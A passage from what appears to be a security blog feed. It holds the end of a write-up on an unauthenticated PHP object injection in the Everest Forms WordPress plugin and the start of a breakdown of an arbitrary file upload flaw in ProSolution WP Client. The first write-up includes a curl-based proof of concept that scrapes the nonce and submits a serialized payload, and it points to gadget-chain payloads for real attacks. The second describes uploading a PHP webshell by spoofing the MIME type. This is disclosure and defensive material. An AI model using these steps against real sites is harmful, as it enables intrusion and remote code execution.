&lt;td&gt;Strips HTML tags and null bytes; does NOT strip PHP serialization characters (&lt;code&gt;O:&lt;/code&gt;, &lt;code&gt;{&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;). A serialized object string passes through unchanged.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;evf_sanitize_textarea_field()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same behavior — wraps &lt;code&gt;sanitize_textarea_field()&lt;/code&gt;, no effect on serialization syntax.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WordPress nonce (&lt;code&gt;_wpnonce{form_id}&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The nonce is embedded in the public form HTML page, readable by any unauthenticated visitor. It provides CSRF protection but not authentication protection. An attacker simply GETs the form page first to obtain the nonce, then POSTs with the payload.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;evf_maybe_unserialize()&lt;/code&gt; (existing safe wrapper)&lt;/td&gt;
&lt;td&gt;Was available in the codebase but was not called at the vulnerable deserialization site.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can store an arbitrary PHP serialized object in the &lt;code&gt;wp_evf_entrymeta&lt;/code&gt; database table. When an administrator views the entry in the WordPress admin, a PHP Object Injection chain is triggered. The achievable impact depends on what &quot;POP gadget chains&quot; (Property-Oriented Programming) are available in the WordPress environment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Remote Code Execution (RCE):&lt;/strong&gt; If a suitable gadget chain exists among installed plugins, themes, or WordPress core (e.g., chains that invoke &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, or file-write operations via magic methods).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Arbitrary File Write/Delete:&lt;/strong&gt; Via gadget chains that manipulate filesystem operations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authentication Bypass / Privilege Escalation:&lt;/strong&gt; Via gadget chains that modify options or user records.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Exfiltration:&lt;/strong&gt; Via gadget chains that perform HTTP requests or write data to accessible files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CVSS 9.8 (Critical) reflects the worst-case scenario: no authentication required, no user interaction from the attacker, and potential for full confidentiality, integrity, and availability compromise.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;everest-forms&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 3.4.3&lt;/li&gt;
&lt;li&gt;At least one publicly accessible Everest Forms form embedded on any page&lt;/li&gt;
&lt;li&gt;A WordPress admin user who will view form entries (social engineering or waiting for routine admin review)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Obtain the form page URL, form ID, and nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Browse to any page on the target site that contains a public Everest Forms form. The form ID is visible in the hidden input &lt;code&gt;everest_forms[id]&lt;/code&gt;. The nonce is in &lt;code&gt;_wpnonce{form_id}&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Fetch the form page (replace with the actual page URL)
TARGET_URL=&quot;https://target-site.example.com/contact/&quot;

curl -s &quot;$TARGET_URL&quot; | grep -oP &apos;(?&amp;lt;=name=&quot;_wpnonce)[0-9]+&quot; value=&quot;\K[^&quot;]+&apos; | head -1
# Or look for: &amp;lt;input type=&quot;hidden&quot; name=&quot;_wpnonce&amp;lt;FORM_ID&amp;gt;&quot; value=&quot;&amp;lt;NONCE&amp;gt;&quot;&amp;gt;

# Also extract the form ID:
curl -s &quot;$TARGET_URL&quot; | grep -oP &apos;name=&quot;everest_forms\[id\]&quot; value=&quot;\K[0-9]+&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Record:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FORM_ID&lt;/code&gt; — e.g. &lt;code&gt;123&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FIELD_META_KEY&lt;/code&gt; — the &lt;code&gt;name&lt;/code&gt; attribute of a text input, e.g. &lt;code&gt;everest_forms[form_fields][abc123]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NONCE&lt;/code&gt; — value of &lt;code&gt;_wpnonce123&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Craft the serialized PHP object payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For demonstration, use a benign payload that injects a &lt;code&gt;stdClass&lt;/code&gt; object (no side effects — safe for testing):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Benign test payload (stdClass with a property)
PAYLOAD=&apos;O:8:&quot;stdClass&quot;:1:{s:5:&quot;pwned&quot;;s:3:&quot;yes&quot;;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a real-world attack, replace this with a known POP gadget chain payload appropriate for the target environment (e.g., a chain from PHPGGC targeting a plugin known to be installed).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Submit the form with the serialized payload as a field value&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FORM_ID=&quot;123&quot;
NONCE=&quot;abcdef1234&quot;   # Replace with actual nonce from Step 1
TARGET_URL=&quot;https://target-site.example.com/contact/&quot;
PAYLOAD=&apos;O:8:&quot;stdClass&quot;:1:{s:5:&quot;pwned&quot;;s:3:&quot;yes&quot;;}&apos;

curl -s -X POST &quot;$TARGET_URL&quot; \
  -d &quot;everest_forms[id]=${FORM_ID}&quot; \
  -d &quot;everest_forms[form_fields][abc123]=${PAYLOAD}&quot; \
  -d &quot;_wpnonce${FORM_ID}=${NONCE}&quot; \
  -d &quot;everest_forms[hp][abc]=&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A successful submission returns the form&apos;s success message or a redirect. The payload is now stored in &lt;code&gt;wp_evf_entrymeta&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Verify the payload is stored in the database&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Using WP-CLI on the server (for verification):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp db query &quot;SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 5;&quot; --allow-root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see a row containing the raw serialized string &lt;code&gt;O:8:&quot;stdClass&quot;:1:{s:5:&quot;pwned&quot;;s:3:&quot;yes&quot;;}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Trigger deserialization by viewing the entry as admin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in to the WordPress admin panel and navigate to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://target-site.example.com/wp-admin/admin.php?page=evf-entries&amp;amp;form_id=&amp;lt;FORM_ID&amp;gt;&amp;amp;view-entry=&amp;lt;ENTRY_ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the page loads, &lt;code&gt;html-admin-page-entries-view.php&lt;/code&gt; iterates the entry metadata, detects the serialized value via &lt;code&gt;is_serialized()&lt;/code&gt;, and calls &lt;code&gt;unserialize()&lt;/code&gt; on it — instantiating any PHP objects in the payload.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;With the benign test payload: no visible error; a &lt;code&gt;stdClass&lt;/code&gt; object is created and discarded harmlessly. The vulnerability is confirmed by the fact that &lt;code&gt;unserialize()&lt;/code&gt; processes the attacker-controlled value without restriction.&lt;/p&gt;
&lt;p&gt;With a real POP gadget chain payload targeting a vulnerable class in the environment: the magic method (&lt;code&gt;__wakeup&lt;/code&gt;, &lt;code&gt;__destruct&lt;/code&gt;, etc.) of the gadget class executes, achieving RCE or another critical impact.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;To confirm the injection is working without a gadget chain, check the PHP error log or use a custom PHP class loaded by a test plugin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Test plugin (test-gadget.php) - install on a test environment only
class TestGadget {
    public function __wakeup() {
        file_put_contents(&apos;/tmp/pwned.txt&apos;, &apos;PHP Object Injection confirmed at &apos; . date(&apos;c&apos;));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the admin views the entry, check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The fix is a single-line change in &lt;code&gt;includes/admin/views/html-admin-page-entries-view.php&lt;/code&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/admin/views/html-admin-page-entries-view.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Replaced &lt;code&gt;unserialize($meta_value)&lt;/code&gt; with &lt;code&gt;evf_maybe_unserialize($meta_value)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/admin/views/html-admin-page-entries-view.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changed &lt;code&gt;wp_strip_all_tags()&lt;/code&gt; to &lt;code&gt;esc_html()&lt;/code&gt; for plain text values (defense-in-depth XSS fix)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;includes/admin/views/html-admin-page-entries-view.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changed &lt;code&gt;echo nl2br(make_clickable($field_value))&lt;/code&gt; to &lt;code&gt;echo nl2br(esc_html($field_value))&lt;/code&gt; (XSS hardening)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The critical fix replaces the unsafe &lt;code&gt;unserialize()&lt;/code&gt; call with the safe wrapper &lt;code&gt;evf_maybe_unserialize()&lt;/code&gt; that was already present in the codebase:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Before (vulnerable):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value ); // no class restrictions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;After (patched):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = evf_maybe_unserialize( $meta_value ); // allowed_classes =&amp;gt; false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;evf_maybe_unserialize()&lt;/code&gt; passes &lt;code&gt;[&apos;allowed_classes&apos; =&amp;gt; false]&lt;/code&gt; to PHP&apos;s &lt;code&gt;unserialize()&lt;/code&gt;, which means PHP will only reconstruct scalar types and arrays — any object in the serialized data is converted to a &lt;code&gt;__PHP_Incomplete_Class&lt;/code&gt; instance, preventing magic method execution entirely.&lt;/p&gt;
&lt;p&gt;This is a &lt;strong&gt;complete fix&lt;/strong&gt; for the root cause. No residual risk exists from this specific deserialization call.&lt;/p&gt;
&lt;p&gt;The additional output-escaping changes (&lt;code&gt;esc_html()&lt;/code&gt; replacing &lt;code&gt;make_clickable()&lt;/code&gt;) provide further hardening against stored XSS, though they are not directly related to the PHP Object Injection vulnerability.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/includes/admin/views/html-admin-page-entries-view.php
+++ b/includes/admin/views/html-admin-page-entries-view.php
@@ -127,10 +124,11 @@
-    $meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value );
+    // Escape plain text values; leave serialized data untouched for further processing.
+    $meta_value = is_serialized( $meta_value ) ? $meta_value : esc_html( $meta_value );

     if ( is_serialized( $meta_value ) ) {
-        $raw_meta_val = unserialize( $meta_value ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
+        $raw_meta_val = evf_maybe_unserialize( $meta_value );
@@ -200,7 +198,8 @@
-            echo nl2br( make_clickable( $field_label_val ) ); // @codingStandardsIgnoreLine
+            // Output serialized non-array label value safely.
+            echo nl2br( esc_html( $field_label_val ) );
@@ -210,7 +209,8 @@
-            echo nl2br( make_clickable( $field_value ) ); // @codingStandardsIgnoreLine
+            // Output plain field value safely.
+            echo nl2br( esc_html( $field_value ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 7, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 7, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.4.4 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 8, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/everest-forms/everest-forms-343-unauthenticated-php-object-injection-via-form-entry-metadata&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.3/includes/admin/views/html-admin-page-entries-view.php#L133&quot;&gt;Vulnerable file — trac (3.4.3 tag)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/everest-forms/trunk/includes/admin/views/html-admin-page-entries-view.php#L133&quot;&gt;Patched file — trac (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/everest-forms/tags/3.4.3/includes/evf-core-functions.php#L5594&quot;&gt;evf_maybe_unserialize() — trac (3.4.3)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3489938/everest-forms/tags/3.4.4/readme.txt?old=3464753&amp;amp;old_path=everest-forms%2Ftags%2F3.4.3%2Freadme.txt&quot;&gt;Changeset readme diff (3.4.3 → 3.4.4)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=/everest-forms/tags/3.4.3&amp;amp;new_path=/everest-forms/tags/3.4.4&quot;&gt;Full changeset (3.4.3 → 3.4.4)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3296&quot;&gt;CVE Record&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;everest-forms&lt;/code&gt; plugin to version &lt;strong&gt;3.4.4&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;If an immediate update is not possible:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Restrict access to the WordPress admin entries view (&lt;code&gt;admin.php?page=evf-entries&lt;/code&gt;) via firewall or IP allowlist.&lt;/li&gt;
&lt;li&gt;Monitor &lt;code&gt;wp_evf_entrymeta&lt;/code&gt; for rows containing &lt;code&gt;O:&lt;/code&gt; at the start of &lt;code&gt;meta_value&lt;/code&gt; (indicating PHP object serialization).&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><atom:updated>2026-04-09T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-2942: Arbitrary File Upload in ProSolution WP Client</title><link>https://hurayraiit.com/blog/cve-2026-2942-prosolution-wp-client-arbitrary-file-upload/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-2942-prosolution-wp-client-arbitrary-file-upload/</guid><description>CVE-2026-2942 is a CVSS 9.8 critical unauthenticated arbitrary file upload in the WordPress ProSolution WP Client plugin — full technical breakdown, PoC, and remediation.</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-2942&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated arbitrary file upload vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/prosolution-wp-client/&quot;&gt;ProSolution WP Client&lt;/a&gt; WordPress plugin. It allows any unauthenticated attacker to upload arbitrary files — including PHP webshells — directly to the server, potentially achieving full Remote Code Execution (RCE).&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ProSolution WP Client&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;prosolution-wp-client&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2942&quot;&gt;CVE-2026-2942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unrestricted Upload of File with Dangerous Type (CWE-434)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/prosolution-wp-client.1.9.9.zip&quot;&gt;&amp;lt;= 1.9.9&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/prosolution-wp-client.2.0.0.zip&quot;&gt;2.0.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 8, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/nabil-irawan/&quot;&gt;Nabil Irawan - Heroes Cyber Security&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/prosolution-wp-client/prosolution-wp-client-199-unauthenticated-arbitrary-file-upload-via-prosol-fileuploadprocess&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The ProSolution WP Client plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the &lt;code&gt;proSol_fileUploadProcess&lt;/code&gt; function in all versions up to, and including, 1.9.9. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site&apos;s server which may make remote code execution possible.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;p&gt;The attack chain flows through four components.&lt;/p&gt;
&lt;h3&gt;1. AJAX Handler Registered for Unauthenticated Users — &lt;code&gt;includes/class-prosolwpclient.php&lt;/code&gt; (lines 253–254)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$this-&amp;gt;loader-&amp;gt;proSol_add_action( &apos;wp_ajax_proSol_fileUploadProcess&apos;, $plugin_public, &apos;proSol_fileUploadProcess&apos; );
$this-&amp;gt;loader-&amp;gt;proSol_add_action( &apos;wp_ajax_nopriv_proSol_fileUploadProcess&apos;, $plugin_public, &apos;proSol_fileUploadProcess&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt; hook registers the handler for &lt;strong&gt;unauthenticated&lt;/strong&gt; (not-logged-in) users. Any visitor can trigger this endpoint at &lt;code&gt;POST /wp-admin/admin-ajax.php?action=proSol_fileUploadProcess&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;2. Nonce Exposed on Public Page — &lt;code&gt;public/class-prosolwpclient-public.php&lt;/code&gt; (lines 2199–2292)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$translation_array = array(
    &apos;ajaxurl&apos; =&amp;gt; admin_url( &apos;admin-ajax.php&apos; ),
    &apos;nonce&apos;   =&amp;gt; wp_create_nonce( &apos;prosolwpclient&apos; ),
    // ...
);
wp_localize_script( &apos;prosolwpclient-public&apos;, &apos;prosolObj&apos;, $translation_array );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When any WordPress page containing the &lt;code&gt;[prosolfrontend]&lt;/code&gt; shortcode is loaded, the nonce is embedded in the page source as &lt;code&gt;prosolObj.nonce&lt;/code&gt;. An unauthenticated attacker reads it from &lt;code&gt;view-source:&lt;/code&gt; or browser DevTools — the nonce provides zero security here.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;3. Client-Supplied MIME Type Used for File Validation — &lt;code&gt;public/class-prosolwpclient-public.php&lt;/code&gt; (lines 993–1034)&lt;/h3&gt;
&lt;p&gt;This is the core vulnerability. The function reads the file&apos;s MIME type from &lt;code&gt;$_FILES[&quot;files&quot;][&quot;type&quot;][0]&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function proSol_fileUploadProcess() {
    check_ajax_referer( &apos;prosolwpclient&apos;, &apos;security&apos; );   // nonce only — no auth check

    $dir_info    = $this-&amp;gt;proSol_checkUploadDir();
    $submit_data = $_FILES[&quot;files&quot;];
    $mime_type   = isset( $submit_data[&apos;type&apos;] ) ? $submit_data[&apos;type&apos;][0] : &apos;&apos;;  // ← ATTACKER CONTROLLED
    $ext         = proSol_mimeExt($mime_type);                                    // ← maps MIME → extension

    if ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) {
        // ... file is passed to UploadHandler and saved
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$_FILES[&quot;files&quot;][&quot;type&quot;][0]&lt;/code&gt; is the &lt;code&gt;Content-Type&lt;/code&gt; value sent by the HTTP client in the multipart request — &lt;strong&gt;it is never verified by the server&lt;/strong&gt;. An attacker sends &lt;code&gt;Content-Type: image/jpeg&lt;/code&gt; for a PHP webshell, causing &lt;code&gt;proSol_mimeExt(&apos;image/jpeg&apos;)&lt;/code&gt; to return &lt;code&gt;&apos;jpg&apos;&lt;/code&gt;, which passes the allowlist check in &lt;code&gt;proSol_imageExtArr()&lt;/code&gt;. The actual file content is never inspected.&lt;/p&gt;
&lt;p&gt;Additionally, the bundled &lt;code&gt;CBXProSolWpClient_UploadHandler&lt;/code&gt; (a fork of blueimp jQuery File Upload) has &lt;code&gt;accept_file_types&lt;/code&gt; set to &lt;code&gt;/.+$/i&lt;/code&gt; — it accepts every file without restriction, delegating all responsibility to the calling code.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;4. PHP Extension Preserved in Final Filename — lines 1019–1024&lt;/h3&gt;
&lt;p&gt;After the UploadHandler saves the file under its original name, the code extracts the extension from the saved filename:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$attached_file_name = $response_obj-&amp;gt;name;
$extension          = pathinfo( $attached_file_name, PATHINFO_EXTENSION );  // ← reads .php
$newfilename        = wp_create_nonce( session_id() . time() ) . &apos;.&apos; . $extension;  // ← saves as &amp;lt;hash&amp;gt;.php
rename( $dir_info[&apos;prosol_base_dir&apos;] . $attached_file_name, $dir_info[&apos;prosol_base_dir&apos;] . $newfilename );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the attacker uploads &lt;code&gt;shell.php&lt;/code&gt;, the saved file is renamed to &lt;code&gt;&amp;lt;hash&amp;gt;.php&lt;/code&gt;. The &lt;code&gt;.php&lt;/code&gt; extension is preserved. The upload directory &lt;code&gt;wp-content/uploads/prosolwpclient/&lt;/code&gt; has no &lt;code&gt;.htaccess&lt;/code&gt; to block PHP execution, so the file is immediately accessible and executable.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The root cause is twofold:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Client-controlled MIME type used for validation&lt;/strong&gt;: &lt;code&gt;$_FILES[&quot;files&quot;][&quot;type&quot;][0]&lt;/code&gt; is set by the HTTP client — not derived from file content. An attacker trivially spoofs it to any allowed MIME type (&lt;code&gt;image/jpeg&lt;/code&gt;, &lt;code&gt;application/pdf&lt;/code&gt;) while the actual file is a PHP script.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;No extension-based server-side validation&lt;/strong&gt;: The code never checks the file&apos;s actual extension before uploading. The only post-upload extension read (&lt;code&gt;pathinfo($attached_file_name, PATHINFO_EXTENSION)&lt;/code&gt;) is used to construct the final filename, preserving any dangerous extension.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Why it failed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nonce check&lt;/strong&gt; (&lt;code&gt;check_ajax_referer&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The nonce &lt;code&gt;prosolwpclient&lt;/code&gt; is generated and embedded in every page using the &lt;code&gt;[prosolfrontend]&lt;/code&gt; shortcode via &lt;code&gt;wp_localize_script&lt;/code&gt;. Any unauthenticated visitor can extract it from the page source. It prevents CSRF, not unauthorized access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MIME-type allowlist&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The allowlist is evaluated against &lt;code&gt;$_FILES[&quot;files&quot;][&quot;type&quot;][0]&lt;/code&gt;, which is an HTTP header value fully controlled by the attacker. The server never reads the actual file bytes to determine the real MIME type.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UploadHandler&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Configured with &lt;code&gt;accept_file_types = /.+$/i&lt;/code&gt; — accepts every file type without restriction.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
